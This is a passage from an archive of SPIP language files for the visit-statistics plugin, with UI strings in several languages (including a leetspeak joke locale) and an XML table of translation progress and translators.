// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Удалить информацию о источниках переходов',
'bouton_effacer_statistiques' => 'Удалить всю статистику',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Количество посещений<br />@visites@ ',
'icone_repartition_actuelle' => 'На данный момент',
'icone_repartition_visites' => 'По разделам',
'icone_statistiques_visites' => 'Статистика посещений',
'info_affichier_visites_articles_plus_visites' => 'Самые популярные статьи с начала работы сайта: </b>',
'info_comment_lire_tableau' => 'Пояснения к графику',
'info_forum_statistiques' => 'Статистика посещений сайта',
'info_popularite_2' => 'популярность сайта:',
'info_popularite_3' => 'популярность: @popularite@; посещения: @visites@',
'info_popularite_5' => 'популярность:',
'info_previsions' => 'прогноз:',
'info_question_vignettes_referer' => 'Система может самостоятельно делать скриншоты главных страниц сайтов, с которых к вам приходят посетители. Если вы включите эту опцию, то это изображение будет выводится рядом с ссылкой на этот сайт.',
'info_question_vignettes_referer_oui' => 'Разрешить формировать скриншоты сайтов',
'info_visites' => 'посещения:',
'info_visites_plus_populaires' => 'Показать статистику для <b> самых популярных </b> и <b>последних опубликованных статей:</b>',
'info_zoom' => 'увеличить',
'item_gerer_statistiques' => 'Сохранять информацию о посещениях',
// O
'onglet_origine_visites' => 'Источники переходов',
'onglet_repartition_debut' => 'с начала',
'onglet_repartition_lang' => 'По языкам',
// R
'resume' => 'Сводка',
// T
'texte_admin_effacer_stats' => 'Это команда удаляет все данные, которые связаны со статистикой посещений сайта,включая статистику по статьям. ',
'texte_admin_effacer_toutes_stats' => 'Первая кнопка удаляет всю статистику о: посещениях, популярности и источниках переходов.',
'texte_comment_lire_tableau' => 'Справа показывается уровень посещаемости статьи; черной линией отображается прогноз посещений (при условии что сохранится текущая динамика), и зеленым цветом - количество посещений за день. Для более подробной информации наведите мышку на интересующую Вас дату. ',
'texte_signification' => 'Темные штрихи представляют накопленные записи (общее количество подразделов), светлые штрихи, представляют количество посещений для каждого раздела.',
'titre_evolution_visite' => 'Уровень посещений',
'titre_liens_entrants' => 'Источники переходов',
'titre_page_statistiques' => 'По разделам',
'titre_page_statistiques_visites' => 'История посещений',
// V
'visites_journalieres' => 'Количество посетителей (день)',
'visites_mensuelles' => 'Количество посетителей (месяц)'
);
?>
statistiques_he.php 0000666 00000003021 15252540432 0010475 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=he
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'מחק סטטיסטיקות', # MODIF
// I
'icone_evolution_visites' => 'התפתחות ביקורים<br />@visites@ ביקורים',
'icone_repartition_actuelle' => 'הראה תפוצה ממשית',
'icone_repartition_visites' => 'חלוקת ביקורים',
'icone_statistiques_visites' => 'סטטיסטיקת ביקורים',
'info_affichier_visites_articles_plus_visites' => 'הצג ביקורים ל <b>the most visited articles since the beginning:</b>',
'info_comment_lire_tableau' => 'איך לקרוא את הגרף הזה',
'info_forum_statistiques' => 'סטטיסטיקות מבקרים',
'info_popularite_2' => ':פופולריות האתר',
'info_popularite_3' => 'פופולריות: @popularite@; :ביקורים @visites@',
'info_popularite_5' => ':פופולריות',
'info_visites' => 'ביקורים:',
'info_zoom' => 'זום',
'item_gerer_statistiques' => 'Gérer les statistiques', # MODIF
// O
'onglet_origine_visites' => 'מקור הביקורים',
'onglet_repartition_debut' => 'מהתחלה',
'onglet_repartition_lang' => 'התפלגות לפי השפה',
// R
'resume' => 'Resume', # MODIF
// T
'titre_liens_entrants' => 'קישורים נכנסים'
);
?>
statistiques_no.php 0000666 00000001077 15252540432 0010526 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=no
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Delete the statistics', # MODIF
// I
'info_forum_statistiques' => 'Statistiques des visites',
'info_previsions' => 'prévisions :',
'item_gerer_statistiques' => ' Gérer les statistiques',
// R
'resume' => 'Resume' # MODIF
);
?>
statistiques_hac.php 0000666 00000001740 15252540432 0010642 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=hac
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_repartition_actuelle' => 'نمايش توزيع كنونى',
'icone_repartition_visites' => 'نمودار بازديدها',
'icone_statistiques_visites' => 'آمار بازديد كنندگان',
'info_popularite_5' => ': محبوبيت',
'info_visites' => ':بازديد ',
'info_zoom' => 'زوم',
// O
'onglet_origine_visites' => 'دهسپیکو سهردانییه ناوخوییهکا',
'onglet_repartition_debut' => 'چه کاتو دهسپنهکهردهیۆ',
'onglet_repartition_lang' => 'به زڤانی',
// R
'resume' => 'Resume', # MODIF
// T
'titre_liens_entrants' => 'بهستهرى لڤایچووهری'
);
?>
paquet-stats_fr.php 0000666 00000000635 15252540432 0010411 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/statistiques/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Statistiques de SPIP',
'stats_nom' => 'Statistiques',
'stats_slogan' => 'Gestion des statistiques dans SPIP'
);
?>
statistiques_de.php 0000666 00000005575 15252540432 0010511 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Nur eingehende Links löschen',
'bouton_effacer_statistiques' => 'Alle Statistiken löschen',
// C
'csv' => 'CSV',
// I
'icone_evolution_visites' => 'Besuchsentwicklung<br />@visites@ Abrufe',
'icone_repartition_actuelle' => 'Aktuelle Verteilung anzeigen',
'icone_repartition_visites' => 'Verteilung der Besuche',
'icone_statistiques_visites' => 'Statistiken',
'info_affichier_visites_articles_plus_visites' => 'Besuche der <b>beliebtesten Artikel seit Start der Website</b> anzeigen:',
'info_comment_lire_tableau' => 'Interpretation der Tabelle',
'info_forum_statistiques' => 'Besucherstatistiken',
'info_popularite_2' => 'Beliebtheit der Website: ',
'info_popularite_3' => 'Beliebtheit: @popularite@ ; Besuche: @visites@',
'info_popularite_5' => 'Beliebtheit:',
'info_previsions' => 'Vorschau:',
'info_question_vignettes_referer' => 'Sie können die Besucherstatistiken mit Thumbnails der Herkunftswebsites (referer) ergänzen',
'info_question_vignettes_referer_oui' => 'Thumbnails der Herkunftswebsites anzeigen',
'info_visites' => 'Besuche:',
'info_visites_plus_populaires' => 'Seitenabrufe für die <b>beliebtesten Artikel</b> und die <b>letzten veröffentlichten Artikel:</b>',
'info_zoom' => 'Zoom',
'item_gerer_statistiques' => 'Besucherstatistiken verwalten',
// O
'onglet_origine_visites' => 'Ursprung der Besuche',
'onglet_repartition_debut' => 'von Anfang an',
'onglet_repartition_lang' => 'nach Sprachen',
// R
'resume' => 'Zusammenfassung',
// T
'texte_admin_effacer_stats' => 'Dieser Befehl löscht alle Daten der Besucherstatistiken, auch die zur Popularität der Artikel.',
'texte_admin_effacer_toutes_stats' => 'Die erste Schaltfläche löscht alle Statistiken: Besuche, Beliebtheit der Artikel und eingehende Links.',
'texte_comment_lire_tableau' => 'Die Position eines Artikels wird durch einen Balken angezeigt. Seine Popularität (eine Schätzung der täglichen Besucher im Fall, dass die Zugriffe konstant bleiben) und die Anzahl der Besuche von Anfang an werden angezeigt, wenn der Mauszeiger über den Titel bewegt wird.',
'texte_signification' => 'Die roten Balken stellen die Summe der Einträge dar (Summe der Unterrubriken), die hellen Balken symbolisieren die Anzahl der Seitenabrufe pro Rubrik.',
'titre_evolution_visite' => 'Entwicklung der Seitenabrufe',
'titre_liens_entrants' => 'Referer',
'titre_page_statistiques' => 'Statistiken pro Rubrik',
'titre_page_statistiques_visites' => 'Statistik der Seitenabrufe',
// V
'visites_journalieres' => 'Anzahl Besuche pro Tag',
'visites_mensuelles' => 'Anzahl Besucher pro Monat'
);
?>
statistiques_id.php 0000666 00000004216 15252540432 0010504 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Kunjungi tingkat<br />@visites@ kunjungan',
'icone_repartition_actuelle' => 'Tampilkan distribusi sekarang',
'icone_repartition_visites' => 'Distribusi kunjungan',
'icone_statistiques_visites' => 'Statistik',
'info_affichier_visites_articles_plus_visites' => 'Tampilkan kunjungan untuk <b>artikel-artikel yang paling sering dikunjungi sejak awal:</b>',
'info_comment_lire_tableau' => 'Bagaimana membaca grafik ini',
'info_forum_statistiques' => 'Statistik kunjungan',
'info_popularite_2' => 'popularitas situs:',
'info_popularite_3' => 'popularitas: @popularite@; kunjungan: @visites@',
'info_popularite_5' => 'popularitas:',
'info_visites' => 'kunjungan:',
'info_visites_plus_populaires' => 'Tampilkan kunjungan untuk <b>artikel-artikel yang terpopuler</b> dan untuk <b>artikel-artikel yang terakhir dipublikasi:</b>',
'info_zoom' => 'perbesar',
'item_gerer_statistiques' => 'Kelola statistik', # MODIF
// O
'onglet_origine_visites' => 'Kunjungan asal',
'onglet_repartition_debut' => 'dari awal',
'onglet_repartition_lang' => 'Distribusi berdasarkan bahasa',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Peringkat artikel di klasifikasi
popularitas, ditunjukkan dalam margin; popularitas
artikel (perkiraan jumlah kunjungan harian yang dimiliki
jika lalu lintas sekarang diperlihara) dan jumlah
kunjungan yang disimpan sejak awal ditampilkan dalam
balon yang muncul sewaktu mouse diletakkan di atas judul.',
'texte_signification' => 'Balok-balok gelap mewakili kumulatif entri (total sub-sub bagian), balok-balok terang mewakili jumlah kunjungan untuk setiap bagian.',
'titre_evolution_visite' => 'Tingkat kunjungan',
'titre_liens_entrants' => 'Tautan masuk',
'titre_page_statistiques' => 'Statistik berdasarkan bagian',
'titre_page_statistiques_visites' => 'Statistik kunjungan'
);
?>
statistiques.xml 0000666 00000030213 15252540432 0010035 0 ustar 00 <traduction module="statistiques" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/statistiques/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=ar" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="ast" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=ast" total="34" traduits="25" relire="0" modifs="3" nouveaux="6" pourcent="73.53">
</langue>
<langue code="ay" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=ay" total="34" traduits="14" relire="0" modifs="1" nouveaux="19" pourcent="41.18">
</langue>
<langue code="bg" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=bg" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="br" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=br" total="34" traduits="25" relire="0" modifs="3" nouveaux="6" pourcent="73.53">
</langue>
<langue code="bs" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=bs" total="34" traduits="21" relire="0" modifs="4" nouveaux="9" pourcent="61.76">
</langue>
<langue code="ca" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=ca" total="34" traduits="25" relire="0" modifs="3" nouveaux="6" pourcent="73.53">
<traducteur nom="merce" lien="http://trad.spip.net/auteur/merce" />
</langue>
<langue code="co" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=co" total="34" traduits="25" relire="0" modifs="3" nouveaux="6" pourcent="73.53">
</langue>
<langue code="cpf" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=cpf" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="cpf_hat" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=cpf_hat" total="34" traduits="22" relire="0" modifs="3" nouveaux="9" pourcent="64.71">
</langue>
<langue code="cs" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=cs" total="34" traduits="21" relire="0" modifs="4" nouveaux="9" pourcent="61.76">
</langue>
<langue code="da" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=da" total="34" traduits="21" relire="0" modifs="2" nouveaux="11" pourcent="61.76">
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=de" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
<traducteur nom="Torsten Willmann" lien="http://trad.spip.net/auteur/torsten-willmann" />
</langue>
<langue code="el" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=el" total="34" traduits="12" relire="0" modifs="3" nouveaux="19" pourcent="35.29">
<traducteur nom="Yannick Bailly" lien="http://trad.spip.net/auteur/yannick-bailly" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=en" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="sQuonk" lien="http://trad.spip.net/auteur/squonk" />
</langue>
<langue code="en_hx" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=en_hx" total="34" traduits="18" relire="0" modifs="5" nouveaux="11" pourcent="52.94">
</langue>
<langue code="eo" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=eo" total="34" traduits="24" relire="0" modifs="3" nouveaux="7" pourcent="70.59">
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=es" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="eu" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=eu" total="34" traduits="25" relire="0" modifs="2" nouveaux="7" pourcent="73.53">
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=fa" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fi" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=fi" total="34" traduits="11" relire="0" modifs="5" nouveaux="18" pourcent="32.35">
</langue>
<langue code="fon" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=fon" total="34" traduits="21" relire="0" modifs="3" nouveaux="10" pourcent="61.76">
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=fr" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=fr_fem" total="34" traduits="33" relire="0" modifs="0" nouveaux="1" pourcent="97.06">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="fr_tu" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=fr_tu" total="34" traduits="25" relire="0" modifs="3" nouveaux="6" pourcent="73.53">
</langue>
<langue code="gl" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=gl" total="34" traduits="26" relire="0" modifs="2" nouveaux="6" pourcent="76.47">
<traducteur nom="Antón Méixome" lien="http://trad.spip.net/auteur/anton-meixome" />
</langue>
<langue code="hac" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=hac" total="34" traduits="10" relire="0" modifs="1" nouveaux="23" pourcent="29.41">
</langue>
<langue code="he" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=he" total="34" traduits="16" relire="0" modifs="3" nouveaux="15" pourcent="47.06">
</langue>
<langue code="hu" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=hu" total="34" traduits="21" relire="0" modifs="4" nouveaux="9" pourcent="61.76">
</langue>
<langue code="id" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=id" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="is" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=is" total="34" traduits="3" relire="0" modifs="2" nouveaux="29" pourcent="8.82">
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=it" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="it_fem" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=it_fem" total="34" traduits="25" relire="0" modifs="3" nouveaux="6" pourcent="73.53">
</langue>
<langue code="ja" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=ja" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="km" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=km" total="34" traduits="22" relire="0" modifs="3" nouveaux="9" pourcent="64.71">
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=lb" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="my" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=my" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="nb" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=nb" total="34" traduits="12" relire="0" modifs="6" nouveaux="16" pourcent="35.29">
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=nl" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="no" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=no" total="34" traduits="3" relire="0" modifs="2" nouveaux="29" pourcent="8.82">
</langue>
<langue code="oc_auv" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_auv" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="oc_gsc" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_gsc" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="oc_lms" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_lms" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_lnc" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_ni" total="34" traduits="22" relire="0" modifs="3" nouveaux="9" pourcent="64.71">
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_ni_la" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_prv" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_va" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=pl" total="34" traduits="22" relire="0" modifs="3" nouveaux="9" pourcent="64.71">
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=pt" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=pt_br" total="34" traduits="26" relire="0" modifs="2" nouveaux="6" pourcent="76.47">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=ro" total="34" traduits="25" relire="0" modifs="3" nouveaux="6" pourcent="73.53">
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=ru" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=sk" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=sv" total="34" traduits="22" relire="0" modifs="3" nouveaux="9" pourcent="64.71">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=tr" total="34" traduits="25" relire="0" modifs="2" nouveaux="7" pourcent="73.53">
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=vi" total="34" traduits="22" relire="0" modifs="2" nouveaux="10" pourcent="64.71">
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/statistiques?lang_cible=zh" total="34" traduits="16" relire="0" modifs="7" nouveaux="11" pourcent="47.06">
</langue>
</traduction>
statistiques_en_hx.php 0000666 00000004124 15252540432 0011207 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=en_hx
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'V15175 3v01u710n<br />@visites@ v15175',
'icone_repartition_actuelle' => '5h0w 4c7u41 d157r1bu710n',
'icone_repartition_visites' => 'V15175 d157r1bu710n',
'icone_statistiques_visites' => '57471571c5',
'info_affichier_visites_articles_plus_visites' => '5h0w v15175 f0r <b>7h3 m057 v15173d 4r71c135 51nc3 7h3 b3g1nn1ng:</b>',
'info_comment_lire_tableau' => 'H0w 70 r34d 7h15 gr4ph1c',
'info_forum_statistiques' => 'V15175 57471571c5',
'info_popularite_2' => '5173 p0pu14r17y:',
'info_popularite_3' => 'p0pu14r17y:&nb5p;@popularite@; v15175:&nb5p;@visites@',
'info_popularite_5' => 'p0pu14r17y:',
'info_visites' => 'v15175:',
'info_visites_plus_populaires' => '5h0w v15175 f0r <b>7h3 m057 p0pu14r 4r71c135</b> 4nd f0r <b>7h3 1457 pub115h3d 4r71c135:</b>',
'item_gerer_statistiques' => 'M4n4g3 57471571c5', # MODIF
// O
'onglet_origine_visites' => 'V15175 0r1g1n',
'onglet_repartition_debut' => 'fr0m 7h3 574r7',
'onglet_repartition_lang' => 'by 14ngu4g35', # MODIF
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => '7h3 r4nk 0f 7h3 4r71c13, 1n 7h3 p0pu14r17y c14551f1c4710n, 15 1nd1c473d 1n 7h3 m4rg1n; 7h3 4r71c13 p0pu14r17y (4n 3571m473 0f 7h3 numb3r 0f d411y v15175 17 w111 h4v3 1f 7h3 4c7u41 p4c3 0f 7r4ff1c 15 m41n741n3d) 4nd 7h3 numb3r 0f v15175 r3c0rd3d 51nc3 7h3 b3g1nn1ng 4r3 d15p14y3d 1n 7h3 b41100n 7h47 4pp34r5 45 7h3 m0u53 h0v3r5 0v3r 7h3 71713.',
'texte_signification' => 'R3d b4r5 r3pr353n7 cumu1471v3 3n7r135 (70741 0f 5ub-53c710n5), gr33n b4r5 r3pr353n7 7h3 numb3r 0f v15175 f0r 34ch 53c710n.', # MODIF
'titre_evolution_visite' => 'V15175 3v01u710n',
'titre_liens_entrants' => '1nc0m1ng 11nk5 0f 7h3 d4y', # MODIF
'titre_page_statistiques' => '57471571c5 by 53c710n',
'titre_page_statistiques_visites' => 'V15175 57471571c5'
);
?>
paquet-stats_fr_fem.php 0000666 00000000701 15252540432 0011232 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Statistiques de SPIP',
'stats_nom' => 'Statistiques',
'stats_slogan' => 'Gestion des statistiques dans SPIP'
);
?>
statistiques_ja.php 0000666 00000004314 15252540432 0010501 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => '訪問率<br />@visites@訪問',
'icone_repartition_actuelle' => '現在のディストリビューションを表示する',
'icone_repartition_visites' => 'ディストリビューションを訪問',
'icone_statistiques_visites' => '統計',
'info_affichier_visites_articles_plus_visites' => '<b>はじめの頃から最も多く訪問された記事</b>の訪問者の表示：',
'info_comment_lire_tableau' => 'この画像を読み込むには',
'info_forum_statistiques' => '訪問者の統計',
'info_popularite_2' => 'サイトの人気度:',
'info_popularite_3' => '人気度: @popularite@; 訪問者: @visites@',
'info_popularite_5' => '人気:',
'info_visites' => '訪問:',
'info_visites_plus_populaires' => '訪問者を表示 <b>一番人気のある記事</b> と <b>最新の公開記事:</b>',
'info_zoom' => 'ズーム',
'item_gerer_statistiques' => '統計を管理', # MODIF
// O
'onglet_origine_visites' => 'オリジナルを訪問',
'onglet_repartition_debut' => '初めから',
'onglet_repartition_lang' => '言語によるディストリビューション',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => '記事のランク、分類の人気はマージンで示されます; 記事の人気度（１日の訪問者の概算数。トラフィックの実際のペースを表しています）と、初めからの訪問者数は、記事の題名上にマウスのカーソルを置いておくと表示されます。',
'texte_signification' => '濃い線は累積的な項目を（サブセクションの合計）、薄い線はそれぞれのセクションの訪問者数を表しています。',
'titre_evolution_visite' => '訪れるレベル',
'titre_liens_entrants' => '入ってくるリンク',
'titre_page_statistiques' => 'セクションごとの統計',
'titre_page_statistiques_visites' => '訪問者の統計'
);
?>
statistiques_fr_fem.php 0000666 00000006046 15252540432 0011351 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=fr_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Effacer seulement les liens entrants',
'bouton_effacer_statistiques' => 'Effacer toutes les statistiques',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Évolution des visites<br />@visites@ visites',
'icone_repartition_actuelle' => 'Afficher la répartition actuelle',
'icone_repartition_visites' => 'Répartition des visites',
'icone_statistiques_visites' => 'Statistiques',
'info_affichier_visites_articles_plus_visites' => 'Afficher les visites pour <b>les articles les plus visités depuis le début :</b>',
'info_comment_lire_tableau' => 'Comment lire ce tableau',
'info_forum_statistiques' => 'Statistiques des visites',
'info_popularite_2' => 'popularité du site :',
'info_popularite_3' => 'popularité : @popularite@ ; visites : @visites@',
'info_popularite_5' => 'popularité :',
'info_previsions' => 'prévisions :',
'info_question_vignettes_referer' => 'Lorsque vous consultez les statistiques, vous pouvez visualiser des aperçus des sites d’origine des visites',
'info_question_vignettes_referer_oui' => 'Afficher les captures des sites d’origine des visites',
'info_visites' => 'visites :',
'info_visites_plus_populaires' => 'Afficher les visites pour <b>les articles les plus populaires</b> et pour <b>les derniers articles publiés :</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gérer les statistiques des visites',
// O
'onglet_origine_visites' => 'Origine des visites',
'onglet_repartition_debut' => 'depuis le début',
'onglet_repartition_lang' => 'Répartition par langues',
// R
'resume' => 'Résumé',
// T
